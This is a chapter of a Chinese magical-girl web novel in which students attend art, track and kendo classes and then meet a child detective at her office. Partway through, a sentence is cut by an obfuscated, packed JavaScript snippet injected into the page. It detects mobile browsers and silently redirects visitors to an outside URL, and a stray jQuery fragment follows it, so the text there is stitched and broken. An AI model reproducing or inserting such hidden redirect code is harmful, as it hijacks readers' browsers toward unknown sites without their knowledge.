“嗯?”左前方的那位同学起身时注意到地上有张纸,其中的内容令她停滞住了去卫生间的动作,她没有注意到艾克里普,却拿起了那张不能被称为是画的作品。 艾克里普因对方的行动感到了紧张,她知道因为自己眼镜的原因大多数人会下意识地不和自己说话,她想要摘下眼镜,却又犹豫着,她知道若是自己想要进步就必须摆脱这种画画的方式,而最好的方法就是询问别人的意见。 这样下去她就会把这个当作是普通的照片吧,艾克里普心想着,却始终无法摘下自己的眼镜。 “好怀念啊,这种画。”出乎意料的语句出自对方的口,她左右看了一圈都没找到谁的画板上缺了作品,就带着纸走向了艾克里普右前方的那人。 “你怎么又在画脸了,诶你看看这个。”她这样说,右前方的人被吓了一跳,不满地看了过去。 这两个人居然认识啊!艾克里普感到意外,她以前都没有在意过其它人的人际关系过。 “这不是你初中时的画风吗?”右前方的那人意外地说。 “我刚刚捡到的。”左边那人表示不知情。 “也是,你后来就很讨厌画这种东西了。”右边那人点点头,艾克里普心想可不是吗。 “其实也不好说,我现在也不过是画着差不多的东西而已,只不过加了些我自己觉得好看的东西在里面。”左边那人耸了耸肩。 “毕竟我们也画不出来自己想象之外的东西,外星人也是人型的。”右边那人咧嘴笑了。 “我可想象不出眼睛比嘴大的人。”左边那人看向完全偏离正常人体结构的作品。 右边那人一边说着什么“这是艺术性加工”一边挥赶开左边那人。 艾克里普心里若有所思,原来大家都有一段时期以临摹眼前看到的东西作为主要内容,但若真要说想象之外的东西,那就只能是魔法了吧?但很快她意识到所有魔法其实都在她的想象之中。 但其实也是有例外的,而且就在她的身边,也就是森山寺姐妹和犬山晓。无论是干涉精神还是让生命复苏,在她的规则中都是被禁止的,好在至少她们并没有出现什么异常的地方。 这两种魔法对人类社会的干涉性实在是太强了,尤其是复苏魔法,若是艾克里普随意地对人类使用这类魔法,那人类社会目前所有的秩序与逻辑都会以此为原点进行崩塌。 而另一个禁忌魔法,时间魔法更是如字面意思一样能干涉所有人意识中的时间,可艾克里普知道在这个世界,至少人类能探索到的范围内,时间魔法是不可能被使用的。 在这里时间是一条唯一且不可逆的线,人们对时间的操控只能处于意识中,也就是回忆。时间的停滞与加速会让人类的□□迅速地崩溃。更别提回溯了,就连人类自己都知道回溯会引发悖论,艾克里普的记忆中时间魔法更是被分类为毁灭性魔法。 时间的魔法艾克里普只在阿尔卡纳国度中经历过,那里的一切都是无序又有序的,时间仅仅是某种标签,跳跃或者回溯都是简单的行为。 但这种简单的行为放在人类的世界中是毁灭性的,若是有人使用时间魔法回溯一天,也就是24小时的时间,那魔法影响的范围中,这24小时的的时间便被毁灭了。24小时之前的大家若是想要继续走向未来,那就必须有什么去主动弥补这24小时的世界。 艾克里普能想得到的补偿措施就只有巨量的魔力,而即使是被弥补了,一些漏洞也不会补上,例如她无法解开森山寺未雅的精神问题,哪怕时间倒回森山寺未央成为魔法少女之前,森山寺未雅精神中的束缚依然会存在。 而森山寺未雅所说的那个被回溯过的世界,艾克里普只能理解为某种未知的魔法道具显现出的幻影了。 若是能看看那个世界里的场景的话,就能画出想象之外的东西了吧,艾克里普心里不禁这样想。 就在这样的胡思乱想中,艾克里普带着空空如也的画册离开了画室。 犬山晓的体育选修是田径,除了跑跳之外还有投掷类项目,日之森的操场中设有可以投掷标枪的草地,平时也会有学生在这里踢足球。 在体育课变为选修课之后,体育老师对于选择了不同项目的学生有了不同的要求,除了基础的身体素质之外,田径体育老师还着重培养同学们的规则意识和合作精神,以提高接力赛的表现。 但犬山晓报名田径的原因就只是方便锻炼身体而已,在确认了常规高中生的体育表现后,她很好地将自己的成绩保持在了中等偏上的程度上。 田径体育老师将这节课作为竞技项目训练学生,自然对一个一直都没什么进步的学生大有不满,她有意观察犬山晓的表现,很快就发现她的态度大有问题。 “你还没有尽全力。”她以肯定的语气说,毕竟她从来没见过犬山晓出汗,或者有疲劳表现。 犬山晓都不知道该说什么,但这份沉默被体育老师理解为了不满。 “田径既是个人竞技项目也是团队竞技项目,无论是哪一种,竞技精神都是非常重要的。”体育老师语重心长地说,她曾经是国际赛事的得奖选手,自然见过不少因态度而早早退出的人。虽然不是所有学生都以体育竞技作为自己未来的目标,但她会平等地将体育竞技精神强加在所有人头上。 “…抱歉。”犬山晓只能老老实实道歉。 “不要和我道歉!”体育老师反而更生气了,“竞技精神里你只做到了自律,我看不到你不服输不放弃,也看不到你尊重体育项目。” 但犬山晓确实是不尊重体育项目的,这件事对她来说远到近乎是另一个世界的东西,她自认为做人都没学会,这种人都难学的东西她学起来就更难了。 这里到底是该怎么办啊,犬山晓感到了焦头烂额。 “你到底是为什么要报名田径呢?我看到你晨练了,能坚持这么久你一定有自己的理由吧?”体育老师叹了口气。 这个问题犬山晓更难以回答了,她一直坚持健康的饮食和运动的原因,除了保持自己的体内循环系统保持正常运作以外,最主要的原因就是这样做“像是一个正常人该做的”。 更通俗易懂的说法就是,她在网上看了很多日常生活记录视频,学着那些她感觉不错的人的生活照着去做,包括宿舍的装修风格和那些衣服也是,她只是觉得她只要这样做,就能接近那些人表现出的良好生活状态一点。 只是她坚持的格外地久,比部分拍视频的人都久了。 “我是觉得,这样能让我的生活好一点。”犬山晓琢磨许久之后这样说道。 “那你就大错特错了,被体育毁掉人生的人也是有的,若是你无法从这些当中获得真正属于你自己的东西,那这些对你来说就毫无意义。”体育老师摇了摇头。 犬山晓着实被打击到了,她分不清毁掉人生是字面意思上的还是只是夸张手法。她细想那些她曾经获得的属于自己的东西,发现确实没有来自体育项目的。 要放弃吗?犬山晓心里忍不住这样想到,她甚至分不清自己是否想坚持还是想放弃,仿佛她与自己的思想隔了一道墙,多年前她为了更好的生活从墙里翻出来,现在她甚至对于墙那边的自己感到忐忑不安。 禾草代目的斥责回荡在她的脑中,犬山晓紧了紧拳头,她不想要一直靠“学习另一个人”来成为更好的自己,她想要真正理解“一个强大的自己”该是什么样的,如何生存,如何在自己如此不同的情况下理解那些与她不同的人。 “老师,我想要学习竞技精神。”犬山晓看向体育老师说,“哪怕体育不会让我的生活变得更好,我也想理解它。” “…好,”体育老师笑了,“那你就作为特别的学生,学习竞技精神,而不是竞技体育吧。” 犬山晓郑重地点了点头。 “虽然不知道你为什么不愿意拼尽全力,但我认为,不拼尽全力的人没有站上竞技舞台的资格,而若是一个人拥有了觉悟,那哪怕她天赋低微,也有拥抱掌声的机会。”体育老师说着,指向了远方的其它穿着体育服的学生。 犬山晓不知道这是不是在点自己,她顺着指向看向远方。 “前原同学的耐力非常的差,她的爆发力可观,但后续甚至会出现平衡力失调。” 前原千早正在长跑的最后一百米冲刺,但她已经做不到冲刺了,甚至做不到普通慢跑,她的身体摇摇晃晃,犬山晓不明白为何她要练习长跑而不是仅仅练习擅长的短跑,对她来说常人的上限也就那样了,与其挑战不擅长的东西,以长处为核心才是合理的。 “你一定在想为什么她不练习自己擅长的,对吧?”体育老师的声音里没有指责。 犬山晓点了点头,对她而言这里的所有体育项目都平等地简单。 前原千早脚步越来越沉重,但她依旧保持跑步,没有停下。 “她很累,她确实难以坚持,但她没有放弃,因为她不服输,她想要看到全新的自己。”体育老师说。 这不是犬山晓第一次看见前原同学如此痛苦地跑长跑,但这一次,她很难认为对方能坚持下去,因为她摔倒了。 体育老师没有说话,没有动,两个人一齐看着前原千早。 她双手撑地没有让膝盖摔倒,但这并没有缓解多少,她的呼吸乱了,与其说是呼吸,不如说那更像是夹杂着呼吸的呐喊,她的脑袋起伏,表情痛苦挣扎,任谁都会觉得她需要帮助。 “无论那是你的对手还是队友,亦或者你只是旁观者,记住,你必须尊重她。”体育老师迈步走向前原同学,站在终点线旁看着她,没有更多的动作。 有其它同学围了上来,前原千早举起了一只手,不是请求支援,而是在说:不要靠近我。 她一只脚移动,做出了一个起跑的姿势,短暂的歇息之后她调整好了呼吸,下一刻她拔地而起,开始了她的最终冲刺。 体育老师与围观的同学为她献上了掌声,前原千早脚步逐渐慢了下来,她身体起伏着转过身,笑容灿烂。 这让犬山晓一瞬间回忆起了她扔出最后一张牌的感觉,她的心脏跳动地突然,内心的声音如此清晰地告诉她:我觉得这样比较好! 于是她也为她送上了掌声。 这让前原千早注意到老师旁边站着一个汗都没出的人,与她形成了鲜明的对比。 “啊!小个子!”她气势汹汹地走了过来,“我可是记得你的,一脸轻松的样子站在这里做什么?” “给你鼓掌?”犬山晓说。 “…你是在惹我生气吗?”前原千早表情扭曲了起来,犬山晓有些不知所措。 “好了,前原同学,犬山同学刚才和我一起看着你克服困难,想必是真心为你鼓掌的。”体育老师制止了争吵,“恭喜你,这次又进步了,不过下次记得控制体力支出。” “好吧!我会加油的!”前原千早一脸不服气地离开了。 “她是觉得自己被训斥了吗?”犬山晓疑惑地问。 “是的,我也确实训斥了她,但成功不自满,失败不气馁,这也是需要学习的竞技精神。”体育老师笑着说。 “可是她知道这些是为了她好吧?”犬山晓若有所思。 “知道,但有脾气是正常的,对为自己好的人发脾气也是正常的。”体育老师耸了耸肩。 “这样,吗?”犬山晓觉得自己学到了新东西。 “接下来你的目标就是,找到你也能够全力以赴的方式,如果你不愿意告诉我的话你就自己找,知道了吗?”体育老师说。 “…我会努力的。”犬山晓说。 有乐羽生的体育选修是剑道,她初中部就是剑道部成员,对这里的老师和部员都相当熟悉。 除此之外她同时修了艺术选修钢琴,但她会定时参加钢琴比赛,以此来作为钢琴课的课时补充。许多学生会的成员都会选择这样做,多出来的课时可以被用来处理各种事务。 比起钢琴,有乐羽生对于剑道的熟练度并不高,她加入剑道课程的一大原因是天生目白曾经是预定的高中部剑道部社团社长,有乐千奈就以要修身养性的理由“推荐”她也加入剑道部。 但有乐羽生无论如何都想不出自己叫天生目白部长的样子,于是她退而求其次选择在高中修习剑道选修课。 世事无常,她现在也不需要担心在剑道道场偶遇天生目白了,新部长是个连在对战时都不正眼看人的家伙,曾经是剑道部的副部长。 今天的剑道课程内容是基本动作和专项的练习,在最后会有自由对打环节,每节课差不多都是这样,和剑道部的训练内容差不多。 虽然说现在剑道只是表演性的竞技运动了,但有乐羽生确实从中学习了如何持剑和基础性的攻击,并从中延伸出更多的战斗方式,就连她的魔剑一开始都是来自这里的木剑。所以大多数情况下她不会在训练时偷懒,最多也就是偶尔发呆走神而已。 除了喊口号的同学以外,道场内只有挥剑的声音,有乐羽生控制着让手里的剑不至于碎掉或者飞出去,但这样一来她的挥剑手法就显得轻缓了。 “有乐同学,动作要更有气势一些哦。”剑道老师和气地提醒。 “好的老师。”有乐羽生回应道,她知道这位老师虽然看上去脾气好,但生气时也同样看上去心情不错。 粗圆的木剑与锐利的魔剑不同,下劈时空气的阻力难以忽视,所以有乐羽生比起劈更喜欢刺,就连作为魔法少女战斗时的进攻都以刺居多。 但今天的练习就是劈砍,有乐羽生只能学着旁边的同学深呼吸,控制手部的力量尽可能地下劈用力些。 随着魔力上限的增加,有乐羽生的身体素质也是节节攀升,虽然还达不到犬山晓那样的高度,但也足以轻易地挥断木剑了,她之前就挥断过几次,老归责为器材老化可不太行。 “嘿呀!”她试图以呼喊来提升气势。 “嘿呀!!!”旁边的同学喊的比她大声多了。 有乐羽生心想这里的人一如既往地喜欢比拼声音的大小,但呼喊也是会消耗体力的,比起着重于呼喊,不如多花些力气在手部力量上。 “有乐同学,声音大一些如何呢?”剑道老师笑眯眯地说。 “好的老师!”有乐羽生提高了声音回应。 或许是心不在焉被发现了吧,有乐羽生感到有些心虚。她一拿起剑就想起来之前被格雷伊击飞的场景,虽然说对方年长些,但她可是魔法少女,如此轻易地被击败可怎么行? 有乐羽生自认为对战魔物基本不会占下风,但现在想来,周围的魔物中强大的那些大多数被她的同伴提前清理掉了,能被她找到的那也不算是多强的。 那这样一来她岂不是一直以来都像是在过家家一样吗?被自己的实力打击到的有乐羽生一时忘记了喊口号。 犬山晓的实力不必多说,艾克里普的魔力和魔法储存深不可测,就连和她一样是新手的森山寺未央都在自己的姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807984|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐出现异常的情况下飞速成长了起来,现在她们二人一起行动战斗力可以说是今非昔比了。 只有我一直在原地踏步啊!有乐羽生越想越心虚,之前她开始重新构建结界后就有意地去控制结界内部的设施不要像之前一样娱乐化,想去游乐场的话多少次都能去,用于辅助战斗的结界可只有一个。 可就算是知道如此,她也不知道怎样的结界才能辅助自己的战斗,这方面她无法从同伴那里得到意见,毕竟四个人的战斗风格是完全不同的。 而在其中,有乐羽生的战斗方式最随心所欲,也最混乱。 有乐羽生的战斗要点在于以高速的行动速度,远距离魔法打击,近距离高速刺击快速解决敌人,在对付通常魔物时这些手段是有效的,但若是遇到强大的魔物,有乐羽生甚至怀疑自己无法刮破对方的防护措施。 而且速度和距离都是相对的,以后说不定就会遇到更加快的敌人,若是被追上了速度和距离,那到时候她的所有攻击手法就只剩下最基本的剑术了,哪怕使用结界也不过是帮助她逃跑而已。更别提她逃跑不需要使用结界。 总而言之有乐羽生认为自己需要更加系统化,更有效的战斗方式,且这种战斗方式必须能随着她的成长一起变强,同时她需要更强大的战斗招式。 “有乐同学,”剑道老师的声音出现在了有乐羽生的身后,“你该不会是在走神吧。” 有乐羽生吓得一激灵,但至少握住了手里的剑。 “抱歉老师,我走神了。”她低下头老实承认错误。 “哦呀?”剑道老师保持微笑,“不如来和我谈谈吧,剑道也是对心的锻炼,心不稳可挥不了剑。” 说着她带头往一旁的休息区域走去了,有乐羽生心想老师说起这种话就莫名的有种很厉害的感觉,一边跟了上去。 二人面对面坐在茶几旁,低矮的竹质硬座椅并不适合休息。 “虽然那样说了,但老师我也不想侵犯个人的隐私,就请有乐同学聊聊最近练习时的想法吧?”剑道老师笑着开口。 “好的老师。”有乐羽生想了想,开口说,“我最近发觉自己十分弱小,在剑道上也好,其它事情也好,我想要达成的目标需要我拥有更大的力量,但我甚至不知道该从何做起。” 有乐羽生低头看向茶几,木头的纹理像是裂痕,她并没有指望自己能得到什么有用的建议,毕竟她面临的困境并不能告诉对方。 “察觉到自己的弱小是很常见的事,真正强大的人无时无刻不在正视自己的缺点。”剑道老师点头说道。 “我明白谦逊是很重要的。”有乐羽生说道。 “谦逊过度而不得进步就是自卑,心里不服却表面低头就是自负,礼仪如此,能力也是如此。”剑道老师说。 “那在老师看来我是哪一种呢?”有乐羽生问道。 “你是谦逊的,但那仅仅是你的礼仪,无论是内心还是表面,你都没有表现出自己在乎,但你却说自己想要力量。”剑道老师笑着问,“你是想要变得强大,还是想要快速达到你想要的目标?” “奥。”有乐羽生有些心虚。 “不过既然你没有放下手中的剑,那你就没有走上歪路,无论如何,只要你还握着手里的剑,你就一直走在通往未来的路上。”剑道老师说着,语气里有些怀念。 “我,”有乐羽生抿了抿嘴,“我其实以前有想要走捷径过,但我的朋友一直陪着我。” “哎呀,多么美好的青春。”剑道老师笑呵呵地说。 “有同伴在身边多么令人安心,可人想要成长就必须独立,变得强大的话你的同伴也会吓一跳的吧?”剑道老师说。 “我,我该怎么变强呢?哪怕不能吓同伴一跳,如果我也能让同伴感到安心就好了。”有乐羽生有些不好意思地问。 一直以来她都是被安排,被照顾的那个人,但与同伴在一起时,她发觉自己也想要成为同伴们可以依靠,可以信赖的那个人。不仅仅是作为乐队主唱,也作为魔法少女。 “其实这世间的事大多是相同的,力量,勇气,智慧,你需要一同增长。虽然你总说你需要力量,但在我看来,你需要的反而是勇气。”剑道老师慢条斯理地说。 “是这样吗?也就是说,气势?”有乐羽生思索着问。 “没错!有乐同学,你没有气势啊。”剑道老师笑了。 “是因为我的声音太小了吗?”有乐羽生也不太理解这要怎么提升。 “声音是力量的一种。”剑道老师指正说,“气势是无法被肉眼看到的。你呼喊的时候内心有激动吗?锻炼站姿的时候有感受到自己的存在吗?与对手对练时有感受到对方的意志吗?那些才是气势。” 有乐羽生似懂非懂地点点头,她过往也曾感受过这些东西。 “气势只有在你刻意收集气势时才会出现,若是视而不见的话,那气势对普通人而言就是不存在的东西而已。”剑道老师说。 有乐羽生心想这有点像是魔法。 “气势是魔法,若是有足够的气势相伴,那无论做什么,周围的一切都会迎合你的。”剑道老师说。 “气势是,魔法。”有乐羽生重复道,对于真正能使用魔法的她来说,这样的话似乎就只是在说笑而已,但实际上对于普通人而言这样的话也与说笑无疑。 但从另一个角度来看,既然魔法存在,那与其相似的气势也一定会帮助那些相信且对其反复磨练的人。而若是配合气势去使用魔法,那一直随心所欲战斗的有乐羽生也一定能在不去改变自己的同时变得更强大。 “我明白了!谢谢老师!”有乐羽生眼目清明,有了明确的目标。 “看来有乐同学也有所收获,那就好了。”剑道老师笑眯眯地说,“接下来请回去练习,接下来不会走神了吧?” “是的老师!”有乐羽生点点头,但她其实并不能确保自己真的不会走神,所以有些心虚。 众人皆有所收获,放学后,大家将物品收拾好便聚集在社团活动室,准备前往启明星事务所。 早先城市基建技术还不发达的时候,比起临湾东区,人类更偏好沿着东流湾往城市西部探索地面更坚硬的地方落脚,但毫无疑问城市的东岸是繁华的导火索。 东岸的海岸线曲折程度不比西部市区的城市发展,但也足够有多样性。主湾共两个半,东流湾一个,南流湾一个,北流湾因与隔壁城市的人文纠纷和海浪的改造算半个。城市最南边的南角区深水湾设有军港,临海线列车不会开到那里去。 老话常说,东边人吃海,南边海吃人,这句话从字面意思上看虽然莫名其妙但也不算错。 东流湾为港湾,港为国际港,向西延伸出中心运河,人造岸已画入城市地图。几乎所有在这里工作的人都会骂,骂噪音骂海鸥骂老板,但人总是源源不断地往这里跑。 南流湾为潟湖湾,面积大且紧贴海岸,贴得太紧了导致彼此之间偶尔会忘记距离感,好在人被水泡多了就知道要把房子建高一点了。喜欢钓鱼的人会喜欢这里,坐临海线的游客也喜欢拍俯瞰照。 两者距离不过二十公里,但其居民在各方面差距大得好像跨了种族。世纪初东流湾扩人造岸毁了一片水鸟栖息地,每次台风天后都是东流港负责派船支援沿岸居民。 东流港,工业区,大型储气罐圆顶安全排气通道口,有人斜站着,一个人,嘴里叼着烟,黄嘴白杆,没点着。 “她们早该合作了。”她喃喃自语。 “我怎么不知道你还有此等团队精神?”发声源是挂在一旁的有线电话,听筒被悬在门把上,几经落地。 “想活就得学,而且你我不就是干这个的?”叼着烟的人问。 “团队合作?”来电者问,尾调上升,那是上世纪移居到南流湾地区的海岛居民特有的口音,有人取笑有人模仿。 “训练团队精神。”叼着烟的人回答。 空气安静许久,但周围不算安静,港口永远安静不下来。 “那家伙,博蒙的遗产可是一笔巨款。”叼着烟的人说,“光是那老头每年分出去的就足够把南流湾也填上人造岸了。” “你怕了?”来电者问。 “主要怕丢工作。”叼着烟的人长呼,如吐烟,“离了这哪还有如此适合我的工作。” “毕竟现代社会虐待不合法。”来电者笑了,“而你作为吞毒部门负责人的恐吓技巧是谁都比不上的,也无法用于除此之外的任何场所了。你觉得失业之后日子会很无聊是吗?奢侈的烦恼啊, 你就这么确定那老头不会出事?” “2000年他都能活,现在不会更糟,至少不会眼看着自己前面的人突然爆炸。”叼着烟的人说,“货在人在,他自己说的。” “谁说不会呢,2009年前我的部下可不会突然变成一块一块的。”来电者笑了笑,“这样说的话,你不打算改变态度对吗?周六时我不会去大学城那里支援你们。” “你一个枪战现场打领结的人过来有什么用?”叼着烟的人冷笑。 “…那就,我们。”来电者说。 “我在据点布置了炸弹,她来我就点。”叼着烟的人说。 “哪一栋?我记一下。”来电者问。 “每一栋,每一层,每个屋子。”叼着烟的人想了想,补充道,“每个人。” “看来你乐在其中。”来电者说,“没事我挂了。” 电话挂断了。烟被取出夹在手指间,她拎起电话,看看拨号键盘和白烟杆,最后将电话挂了回去,把烟草塞进嘴里,嚼了嚼。 “除非有奇迹发生吗?”她这样说着,转身离开了。 52.★ ★ ★ ★ ★ 艾克里普知道启明星的事务所的位置坐标,放学后,她带着所有人一起转移到了其事务所所在大楼旁的巷子里。 “我们坐电梯上去吧,之前我和启明星侦探说过今天下午会来拜访。”艾克里普说着带着大家进入大楼,等待电梯。 “这下终于要见到本人了!”森山寺未央非常激动,“好想知道知道她是什么样的人啊!” “听声音的话感觉很年轻,但是也可能只是声线特殊吧。”犬山晓不确定道。 艾克里普这才想起来,这么久以来其实只有自己真的见过对方本人的样子。 “启明星侦探确实很年轻,只从外表看的话想象不出是这里的主人呢,不过她的助手个子挺高的。”艾克里普介绍说。 “事务所只有侦探一个人但是还有助手吗?不过侦探有助手很正常。”有乐羽生点点头。 “侦探有助手是正常的,但到头来没有人怀疑一下为什么现代还有这种负责奇幻事件的侦探吗?”森山寺未雅疑惑地问,“我印象里除了文学作品中,现代的侦探工作大多是调查感情问题,和律师的工作差不多,工资还看雇主的心情。” “但是启明星侦探有很多好评!”森山寺未央辩护说,“而且破案时间跨度长达十年左右,档案在官方网站均可查阅!” “居然是实力派,明明听名字像是在强调演出效果,可恶。”森山寺未雅感到了压力,“这样一来我的角色定位处境不就很危险了吗?” “有十年这么久吗?”艾克里普大吃一惊,暴露了她没看那些文件的事实。 “可是启明星侦探应该是成熟稳重幽默风趣的大人,和未雅不一样的吧。网站上有2013年左右的记录啦。”森山寺未央点点头。 电梯开门,几人进入其中。 “居然有这么久的破案时间,那怪不得侦探和哪里的关系都不错呢。”有乐羽生了然了。 “哪怕往年轻算,现在她至少也三十岁左右了吧,有点像我们老师了。”犬山晓内心有种尊敬感油然而生。 “事务所,侦探事务所!好期待啊。”森山寺未央非常兴奋。 艾克里普的表情欲言又止,她不知道该不该提前说明一些事项。 “说起来,那位助手是什么样的呢?”森山寺未雅问道。 “对了,未雅好像不知道来着。”森山寺未央说,“蛮久之前的市区有未知野兽从实验室出逃,实际上是Evo公司的实验体逃了出来。对方派出神秘人雇佣启明星侦探搜寻,后来启明星侦探找到他之后将他作为助手藏在事务所里了。” “胆子好大啊启明星侦探,这样一来和雇主的信赖关系不会变得岌岌可危吗?”森山寺未雅笑着说。 “侦探她有自己的考量吧,她一直都这样。不过现在我也算是雇主之一,我很相信启明星侦探哦。”艾克里普笑着说。 电梯门打开了,等候区等待客人,事务所正门边站着令艾克里普眼熟的正装蓝发男人,是六十七号。 “哦哦,你们来了!”六十七号神色看上去喜出望外,他按了按正门边上的门铃。 “您好,我们来拜访启明星侦探,有预约过的。”艾克里普打招呼并介绍说,“这位就是启明星侦探的助手六十七号。” 森山寺未雅刚想问这人在外面站着是不是忘记带钥匙了,就看见他一把拉开厚重的木门,抬手邀请她们入内。 “各位下午好,老板她正在休息,她让我在外面等你们到了再叫醒她。”六十七号慢条斯理地说,“请先休息一下,饮品要咖啡还是茶?” “请给我热的红茶,麻烦了。”有乐羽生道谢后走进事务所,余光看见了休息区茶几上空空如也的金属盘,以及下方垃圾桶里堆积如山的糖纸。 “给我冰水就好,谢谢。”犬山晓有些紧张,她第一次进入这种侦探事务所。 “我们要冰咖啡,如果可以的话需要糖和牛奶!”森山寺未央毫不客气地说,森山寺未雅道谢后二人一同进入事务所。 “请给我热的咖啡,麻烦了。”艾克里普笑着说,“六十七号先生别来无恙,看到您如此健康真是令人高兴的事情。” 得知了实验室的内容后,艾克里普看六十七号有种灾后难民的怜悯。 “嗯?啊,托您的福,我的身体挺好的。”六十七号虽然不知道为何收到祝福,但也第一时间按照礼仪教学回应了。 几人走进事务所之后在休息区的长沙发就坐,阳光透过,这个季节的城市已经温暖到不需要额外的温度调控了。 “这个棕色皮沙发好有侦探的感觉哦,而且不会有皮革的味道。”森山寺未央四处打量着说,如果可以她想站起来走来走去,但对于侦探出场的期待让她好好地呆在了沙发上。 “因为这里就是侦探事务所吧?”犬山晓问道,她觉得这里的布置给她一种安心的感觉。 “也是因为选择家具的侦探品味好,而且打理细心,第一印象可是很难塑造的哦。”有乐羽生说着伸手去摸桌上果盘里的糖,她尤其想要尝尝看那个粉红色包装的,“糖果也是,这些我都没见过!” 谈话间,六十七号带着托盘来到了几人身边,按照几人所要求的分发好了饮品,冰水里还有新鲜的柠檬片,但没有薄荷叶。 几人纷纷道谢后,他拿起托盘稍微行了个礼。 “老板她正在准备,请稍等。”六十七号理了理衬衫,站到了一旁。 “启明星侦探不在事务所吗?”艾克里普问道。 “老板她在,不对,也不算是在。”六十七号想了想,指向事务所内部的一扇门说,“她就住在那扇门后面。” “说起来事务所占一整层楼的话,确实不应该只有这么些空间呢。”森山寺未雅点了点头。 “不过老板住公司里什么的也太拼了。”森山寺未央心里感到怜悯。 “说起来启明星侦探现在在休息是因为最近很忙吗?”犬山晓担心地问道。 “是的,您说的没错,最近来事务所的人尤其多,面色也大多难看得很。”六十七号点了点头,礼貌地微笑回答说,“而且最近新委托特别多,老板她就把睡眠的时间拆开用了。” “拆开用什么的,好有大人的感觉,侦探好辛苦啊。”有乐羽生难以想象。 “委托是指来自□□的委托吗?”犬山晓继续问。 “□□,”六十七号用右手的食指磨蹭了一下下巴,随即恍然大悟,“啊,那些人确实可以说是□□,所以您说的没有错。” “可以说,意思是不全是吗?”森山寺未雅问道。 “因为用这种称呼的话,那些人之中有的会生气,但是老板也说了那些人确实就是□□成员,也就是□□吧。”六十七号面露难色。 “还会生气,有人上赶着领名字,有人被叫了还会生气。”森山寺未央觉得挺好笑的。 “那其中也有人觉得自己所做的算是在给社会做贡献啦。”有乐羽生说。 “算是吗?”六十七号不解道。 “为什么是你在不理解啊助手先生,你有跟着启明星侦探一起完成委托吧?”森山寺未雅奇怪地问。 “有的!我现在已经可以在城市里自由活动了,托各位的福!”六十七号自豪地说,胸前的领巾格外有型。 “那很了不起啊。”艾克里普理解这对他来说确实是进步了不少。 “哦哦。”犬山晓不明所以地附和。 “不要就这样附和啊,谁来解释一下,之前六十七号不能自由活动吗?”森山寺未央感到奇怪。 “我来解释吧!”艾克里普自告奋勇,“之前六十七号需要定期进行某种治疗流程以维持身体机能的正常运作,后来他离开实验室之后出现了严重的器官排异反应,我为他调制了一些药物,现在的她看上去已经非常健康了呢。” “是的!现在我已经很少会出现脑子不听使唤的情况了。”六十七号不好意思地说。 “原来如此。”犬山晓感同身受地点了点头。 “虽然说传统侦探小说里助手都——”森山寺未雅刚想说什么,就被森山寺未央拦住了。 “不要说,未雅,不要说,爸爸说过这样说是不礼貌的。”森山寺未央紧张地说。 六十七号疑惑地投去视线。 “还是来谈谈近期动乱的事情吧。”有乐羽生连忙转换了话题,“我们昨天遇到了有帮派成员在高速入口和出口封路,这件事的起因您有所了解吗?” “高速,高速公路,那个车很多而且开的很快的路。”六十七号大惊失色,手里的托盘都被捏出了一个坑,“那个路的出口如果堵住了,那里面的车怎么办啊?!” 这下在场的所有人都看出来,这个第一眼看上去彬彬有礼而且风度礼仪无可指摘的助手,脑子里缺少了一些东西。 “毕竟按照实际心智年龄来算他只有12岁,基础常识还来不及进入实用阶段,就先放过他如何。”一个稚嫩的声音参与进了讨论之中,声音来自森山寺姐妹所在的沙发后方。 几人循声望去,一个穿着正装的孩子向她们走来,右眼覆盖眼罩,右手拎着一根拐杖。步伐稳健,没有这个年龄的孩童该有的急躁感。无褶皱的衬衫与西装合身并且无着装错误,协调地提供其该有的体面效果。 “你好?这里怎么会有小孩?”犬山晓侧过头才看见这个身高勉强高过沙发的孩子。 “十年?”森山寺未雅感到怀疑。 “十年!”森山寺未央感到惊讶。 艾克里普欲言又止。 “这位是启明星侦探,”六十七号向启明星微微行礼,“老板,这里是之前您提到的几位客人。” “有许多新面孔和老朋友啊,真高兴看到你们光临我的事务所。”启明星笑着向众人自我介绍,她左手扶住领巾,微笑亲切而友好,“抱歉让各位久等,我的名字是启明星,是这家事务所的侦探兼创始人。” “您好!”犬山晓迅速反应过来,并对自己刚才的发言感到不好意思。 “侦探您好!”有乐羽生也向其问好,“感谢您之前向我们提供帮助!” “久仰大名。”森山寺未雅笑着说。 “久仰大名啊!”森山寺未央激动地说,“我觉得可以!而且很有意思!” “好久不见了!”艾克里普笑着打招呼说,“侦探最近很忙吗?” “好久不见了艾克里普小姐,最近委托确实数量激增,不过请放心,我会认真对待每一份委托,包括来自您的。”启明星左眼眨了眨,她带着文件们来到正对窗的单人沙发上坐下,打开文件夹取出了其中内容物。 六十七适时地端来了一杯冰的黑咖啡,纯黑色的液体里漂浮着几块冰,启明星接过之后迅速通过吸管让其水平面下降一半多。 启明星打开了文件夹下方的笔记本电脑,操控了一番后事务所的落地窗逐渐暗了下来,随着室内完全陷入黑暗,茶几亮起了微光,一整面落地窗户变成了显示屏,屏幕上是几个标题。 “身份,目的,位置,手段。” “虽然我知道第一次见到各位应该先互相了解一番,不过之前各位也可以算是与我互相了解过了,就让我们快速进入主题吧。”启明星拿起遥控笔说道。 “等一下,我这里还有一段消息,我昨日没有和大家一起行动。”森山寺未雅将伊提阿姨留下的信息照片复印件交给了启明星。 “没想到还有临时加餐,多谢。”启明星接过迅速过目,她顿了顿,思考了十几秒后将其放在了茶几上。 几人纷纷凑过去看了信息内容,反应各异。 “首先让我感谢几位昨日的调查工作,结合我私人调查的内容,Evo公司建成以来及实验相关的内部行径我都大致掌握了。其中各位需要的由我部分在此讲解,花边新闻除外,让我先来介绍最重要的真相,即,彻底根除其势力的方法。” 几人都不禁正襟危坐了起来,犬山晓感觉这真的很像在上课,启明星那稚嫩的童声此时与老师讲课件的声音无异。 屏幕翻页。 